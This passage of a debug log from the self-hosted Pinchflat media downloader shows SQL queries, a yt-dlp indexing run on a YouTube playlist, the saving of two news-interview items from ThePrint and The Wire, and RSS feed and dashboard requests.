m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:39:32.665 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=155.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 19:39:32.667 [debug] Current batch of media processed. Will check again in 1000ms 19:39:33.668 [debug] Current batch of media processed. Will check again in 1000ms 19:39:34.669 [debug] Current batch of media processed. Will check again in 1000ms 19:39:35.671 [debug] Current batch of media processed. Will check again in 1000ms 19:39:36.043 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/bb/62/bb62bb0d5371e134d1dcb20abd195e2a174d9e08bf264960b98ad2e890dd4cb9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:39:36.045 [debug] Gracefully stopping file follower 19:39:36.047 [debug] QUERY OK source="sources" db=1.8ms queue=0.2ms idle=1542.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:39:36.049 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1544.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:39:36.050 [debug] QUERY OK source="media_items" db=0.7ms idle=1546.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 19:39:36.101 [debug] QUERY OK source="media_items" db=50.3ms idle=1533.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "00477224-061b-4ad5-bd22-3e7bd2035854", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 19:39:36Z], ~U[2026-01-10 19:39:36Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 19:39:36.144 [debug] QUERY OK source="sources" db=41.9ms queue=0.2ms idle=581.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:39:36.146 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=97.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 19:39:36.167 [debug] QUERY OK source="media_items" db=20.1ms idle=97.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "37a12ca3-c02a-40de-9069-e538d7ee3fbd", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 19:39:36Z], ~U[2026-01-10 19:39:36Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 19:39:36.183 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=132.2ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 19:39:36Z], ~U[2026-01-10 19:39:36Z], 1] 19:39:36.185 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=83.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:39:36.202 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=57.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:39:36.203 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=56.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 19:39:36.211 [debug] QUERY OK source="tasks" db=2.5ms idle=22.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [94, 1, ~U[2026-01-10 19:39:36Z], ~U[2026-01-10 19:39:36Z]] 19:39:36.212 [info] {"args":{"id":1},"id":93,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":12993257,"event":"job:stop","queue_time":92232,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:39:59.908 [info] {"source":"oban","duration":55733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.820 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:40:11.581 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:40:11.582 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:40:11.598 [debug] QUERY OK source="sources" db=15.5ms queue=0.1ms idle=1079.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:40:11.600 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=999.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:40:11.603 [debug] QUERY OK source="source_metadata" db=1.9ms idle=97.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:40:11.604 [debug] QUERY OK source="media_metadata" db=0.2ms idle=100.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:40:11.605 [info] Sent 200 in 23ms 19:40:29.911 [info] {"source":"oban","duration":1831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:59.915 [info] {"source":"oban","duration":2148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.822 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:41:29.917 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:58.623 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 19:41:59.920 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.823 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:42:23.569 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:42:23.570 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:42:23.571 [debug] QUERY OK source="sources" db=1.1ms idle=1057.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:42:23.573 [debug] QUERY OK source="media_items" db=1.1ms queue=0.2ms idle=557.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:42:23.576 [debug] QUERY OK source="source_metadata" db=1.4ms idle=61.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:42:23.578 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.3ms idle=63.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:42:23.578 [info] Sent 200 in 9ms 19:42:29.922 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:36.662 [info] GET / 19:42:36.705 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:42:36.731 [debug] QUERY OK source="settings" db=25.9ms idle=1192.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:36.749 [debug] QUERY OK source="media_profiles" db=17.0ms queue=0.1ms idle=1218.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:42:36.752 [debug] QUERY OK source="sources" db=2.4ms queue=0.1ms idle=1236.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:42:36.770 [debug] QUERY OK source="media_items" db=17.5ms queue=0.1ms idle=1239.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:42:36.771 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=723.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:42:36.773 [debug] QUERY OK source="settings" db=0.5ms queue=0.8ms idle=40.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:36.775 [debug] QUERY OK source="settings" db=0.8ms decode=0.1ms idle=24.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:36.776 [debug] QUERY OK source="settings" db=0.7ms idle=23.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:36.814 [debug] QUERY OK source="tasks" db=1.9ms queue=0.1ms idle=41.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:42:36.820 [debug] QUERY OK source="media_items" db=4.9ms queue=0.1ms idle=43.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:42:36.825 [debug] QUERY OK source="media_items" db=4.3ms queue=0.1ms idle=47.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:42:36.829 [debug] QUERY OK source="sources" db=2.3ms queue=0.2ms idle=51.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:42:36.838 [debug] QUERY OK source="media_items" db=1.5ms idle=59.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= 